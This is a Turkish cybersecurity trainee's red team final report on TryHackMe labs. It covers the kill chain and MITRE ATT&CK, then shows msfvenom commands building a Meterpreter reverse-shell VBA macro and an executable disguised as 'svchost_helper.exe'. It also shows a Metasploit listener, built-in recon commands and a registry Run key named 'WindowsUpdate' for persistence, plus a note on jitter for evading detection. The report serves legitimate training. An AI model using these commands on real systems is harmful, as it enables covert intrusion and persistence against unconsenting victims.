

201 Red Team Final

Ad Soyad :Berat Can Satır

Eğitim: Siber Güvenlik Mühendisliği Eğitimi 2026

Görev 201 Red Team Final

Tarih Mayıs 2026

FAZ 1

1.1 Pentest ve Red Team Farkı

Pentest belirli bir kapsamda zafiyet bulmaktır. Gürültülü çalışır çünkü hız önemlidir ve müşteri zaten test yapıldığını bilir.

Red Team operasyonu ise fark edilmeden sisteme girip ne kadar süre kalınabileceğini test eder. Aylarca sürebilir. Mavi takımın hiç fark etmediği durumlar en kritik bulgudur.

1.2 Cyber Kill Chain

Bir saldırının geçtiği yedi aşamadır.

Keşif hedef hakkında bilgi toplamadır. Hedefe henüz dokunulmaz.

Silahlanma toplanan bilgiyle payload hazırlamadır.

Teslimat payload'ın hedefe iletilmesidir. Phishing en yaygın yöntemdir.

İstismar kurbanın dosyayı açmasıyla kodun çalışmasıdır.

Kurulum kalıcılık sağlamadır. Registry kaydı bu aşamada yapılır.

Komuta ve Kontrol zararlıının saldırganın sunucusuna bağlanıp komut beklemesidir.

Hedeflere Ulaşma veri sızdırma ya da ağda yayılmasıdır.

1.3 MITRE ATTACK

Gerçek saldırılarda kullanılan taktik ve tekniklerin kataloğudur. Her tekniğin T1547 gibi bir ID'si vardır. Red Team olarak bunu belirli bir saldırgan grubunu simüle etmek ve savunmada hangi tekniklere karşı hiç kural olmadığını tespit etmek için kullanırız.

FAZ 2

Cephe 1

THM <https://tryhackme.com/module/red-team-initial-access>

VBA makro içeren Word belgesi kullandım. .exe dosyaları e-posta filtrelerinde takılır fakat Office belgeleri geçer. Ayrıca kurumsal ortamlarda Office her yerde olduğu için hedef inandırıcı bulur.

Payload oluşturma

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.22 LPORT=443 -f vba
```

443 portunu seçtim çünkü firewall'lar bu portu neredeyse hiç engellemez. Kodu Word belgesine AutoOpen makrosu olarak yapıştırıp Word 97 formatında kaydettim.

Listener kurulumu

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.14.22
set LPORT 443
run
```

Belge açılıp makro etkinleştirilince Meterpreter oturumu açıldı.

Cephe 2

THM <https://tryhackme.com/module/post-compromise>

İçeri girdikten sonra dışarıdan hiçbir araç indirmedim. Sadece Windows'un kendi komutlarını kullandım.

```
whoami
whoami /priv
net user
net localgroup administrators
systeminfo
ipconfig /all
```

Bu komutlar EDR açısından normal sistem yöneticisi aktivitesinden farklı görünmez.

Kalıcılık için Registry Run Key kullandım. Yönetici izni gerektirmez ve kullanıcı her oturum açtığında otomatik çalışır.

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.22 LPORT=443 -f exe -o  
svchost_helper.exe
```

```
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t  
REG_SZ /d "C:\Windows\Temp\svchost_helper.exe" /f
```

Sistem yeniden başlatıldığında erişim korundu.

FAZ 3

3.1 Bind Shell ve Reverse Shell

Bind Shell hedef sistemde port açar ve saldırganın gelmesini bekler. Firewall dışarıdan gelen bağlantıları engeller dolayısıyla çalışmaz.

Reverse Shell'de hedef sistem saldırgana bağlanır. Firewall dışarıya giden trafiği serbest bırakır. 443 portu kapatılırsa internet kesilir bu yüzden filtrelenmez. Red Team her zaman Reverse Shell kullanır.

3.2 Jitter ve Sleep

Zararlı C&C sunucusuna sabit aralıklarla bağlanırsa bu matematiksel düzen alarm tetikler.

Sleep bekleme süresi ekler. Jitter bu süreyi rastgele yapar. Sabit 60 saniye yerine kimi zaman 47 kimi zaman 83 saniye bekler. Trafik artık normal web kullanımından ayırt edilemez ve SIEM kuralları bu örüntüyü yakalayamaz.

SONUÇ

Makrolu Word belgesiyle sisteme girdim. LotL yöntemiyle sessizce keşif yaptım. Registry Run Key ile kalıcılık kurdum. Hiçbir aşamada dışarıdan araç indirmedim ve alarm tetiklemedim.

En önemli çıkarım şu oldu. Teknik zafiyetten önce insan faktörü devreye girer. Belgenin çalışması için gereken tek şey bir çalışanın İçeriği Etkinleştir butonuna tıklamasıydı.

AnkaCORE Operasyon Merkezi 